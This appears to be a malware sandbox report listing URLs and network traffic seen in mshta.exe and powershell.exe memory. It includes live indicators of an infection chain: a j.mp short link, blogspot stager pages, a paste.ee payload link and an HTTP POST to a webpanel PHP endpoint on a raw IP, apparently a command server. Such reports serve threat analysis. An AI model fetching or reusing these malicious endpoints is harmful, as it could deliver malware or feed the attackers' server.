Source: mshta.exe, 00000006.00000002.2268752181.00000000003DE000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: j.mp

Source: unknown

HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continueConnection: Keep-Alive

Source: mshta.exe, 00000006.00000002.2308801585.0000000005947000.00000004.00000001.sdmp	String found in binary or memory: Https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=pi
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0L
Source: mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: http://csi.gstatic.com/csi
Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: http://j.mp/
Source: mshta.exe, 00000006.00000003.2264502398.00000000003F5000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269237459.0000000000430000.00000004.00000020.sdmp	String found in binary or memory: http://j.mp/dbgghasdnasdjasgdakgsdhv
Source: mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: mshta.exe, 00000006.00000003.2246403287.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gs
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: mshta.exe, 00000006.00000003.2246403287.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/g
Source: mshta.exe, 00000006.00000002.2307607404.0000000005853000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: mshta.exe, 00000006.00000003.2250091244.0000000003B4B000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt05
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0C
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/BlogPosting
Source: mshta.exe, 00000006.00000002.2280946216.0000000004230000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2249204389.0000000002220000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000006.00000002.2280946216.0000000004230000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2249204389.0000000002220000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2231119435.0000000004080000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000006.00000003.2242124105.00000000075EA000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2243633505.0000000008621000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2308627180.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: http://www.blogger.com/go/cookiechoices
Source: mshta.exe, 00000006.00000003.2242124105.00000000075EA000.00000004.00000001.sdmp	String found in binary or memory: http://www.cookiechoices.org/
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 0000000C.00000003.2212263434.00000000002F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 0000000C.00000003.2212263434.00000000002F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com/
Source: mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246295022.0000000005886000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?continue=https://www.blogger.com/blogin.g?blogspotURL%3Dhtt
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://apis.google.com
Source: mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250960830.0000000003B3F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp	String found in binary or memory: https://apis.google.com/js/plusone.js
Source: mshta.exe, 00000006.00000003.2251143360.00000000058E6000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262198982.00000000001B3000.00000004.00000001.sdmp	String found in binary or memory: https://backbones1234511a.blogspot.com/p/stback1.html
Source: mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: https://csi.gstatic.com/csi
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?lang=en-GB&family=Product
Source: mshta.exe, 00000006.00000003.2251143360.00000000058E6000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp	String found in binary or memory: https://ghostbackbone123.blogspot.com/p/ghostbackup13.html
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://i18n-cloud.appspot.com
Source: mshta.exe, 00000006.00000003.2266503969.0000000000128000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogs
Source: mshta.exe, 00000006.00000003.2266503969.0000000000128000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot
Source: mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/
Source: mshta.exe, 00000006.00000003.2251705614.0000000003480000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/(
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/Q
Source: mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276548700.0000000003B43000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/favicon.ico
Source: mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/favicon.icoe
Source: mshta.exe, 00000006.00000003.2262320859.00000000001CA000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/p
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/posts/default
Source: mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/posts/default?alt
Source: mshta.exe, 00000006.00000003.2250723670.000000000341C000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/posts/default?alt=rss
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/posts/defaultA
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/feeds/posts/defaultng
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/js/cookienotice.js
Source: mshta.exe, 00000006.00000003.2221534508.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/js/cookienotice.jsA
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/js/cookienotice.jsi
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/js/cookienotice.jsp
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/js/cookienotice.jspnga
Source: mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/
Source: mshta.exe, 00000006.00000002.2306384665.0000000005768000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/----
Source: mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/X
Source: mshta.exe, 00000006.00000002.2306384665.0000000005768000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/nap
Source: mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html%26bpli%3D1&followup=https://www.blogger.com/blogi
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html.
Source: mshta.exe, 00000006.00000003.2264141461.0000000003A8C000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html...
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html0E)
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html5
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.html?interstitial=ABqL8_iitRI9UzgP0mZhOmXtKCBQT4eYHp3t
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlC
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlD
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlK
Source: mshta.exe, 00000006.00000003.2220203351.0000000003474000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlabbr
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlcomment_from_post_iframe.js
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmld
Source: mshta.exe, 00000006.00000003.2250153686.000000000040B000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmldnasdja
Source: mshta.exe, 00000006.00000003.2250153686.000000000040B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmldnasdjasgdakgsdhv
Source: mshta.exe, 00000006.00000003.2246403287.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlgspo
Source: mshta.exe, 00000006.00000003.2252538010.0000000002DE3000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlhttps://www.blogger.com/static/v1/jsbin/376796862-
Source: mshta.exe, 00000006.00000003.2245647822.0000000003AF4000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlkj
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmls
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlse
Source: mshta.exe, 00000006.00000003.2264141461.0000000003A8C000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlte
Source: mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlvg
Source: mshta.exe, 00000006.00000003.2251197338.0000000005857000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlw
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/p/st2222.htmlwidgets.js91100&pageID=8792113328696570758
Source: mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/search
Source: mshta.exe, 00000006.00000003.2251705614.0000000003480000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.com/searchhttps://apis.google.com/js/plusone.js
Source: mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://mainjigijigi123.blogspot.cost2222.html
Source: powershell.exe, 0000000C.00000002.2240980870.000000000036F000.00000004.00000020.sdmp	String found in binary or memory: https://paste.ee/r/9IDWy
Source: mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: mshta.exe, 00000011.00000003.2221428662.0000000000125000.00000004.00000001.sdmp	String found in binary or memory: https://randikhanaekminar.blogspot.com/p/st2.html
Source: mshta.exe, 00000011.00000003.2218959976.0000000003A2C000.00000004.00000001.sdmp	String found in binary or memory: https://randikhanaekminar.blogspot.com/p/st2.htmlC:
Source: mshta.exe, 00000006.00000003.2251197338.0000000005857000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250219385.0000000000430000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000002.2276548700.0000000003B43000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png)
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png).meather)
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png0C;
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.pngx6
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png
Source: mshta.exe, 00000006.00000003.2264675792.000000000585E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250127920.0000000003B45000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2251197338.0000000005857000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307664079.0000000005858000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png)
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png:
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.pngt.co
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_edit_allbkg.gif
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_edit_allbkg.gifogID=9116518222795791100&zx=6c18238f-a384-4
Source: mshta.exe, 00000006.00000003.2250219385.0000000000430000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.png
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.png#
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.png;
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.pngk
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.pngq
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://resources.blogblog.com/img/icon18_wrench_allbkg.pngrom_post_iframe.js
Source: mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/triangle_ltr.gif
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/triangle_ltr.gif)
Source: mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/triangle_open.gif
Source: mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/widgets/icon_contactform_cross.gif
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264900339.000000000047B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/widgets/s_bottom.png
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/widgets/s_bottom.png)
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/widgets/s_top.png
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://resources.blogblog.com/img/widgets/s_top.png)
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://s.ytimg.com
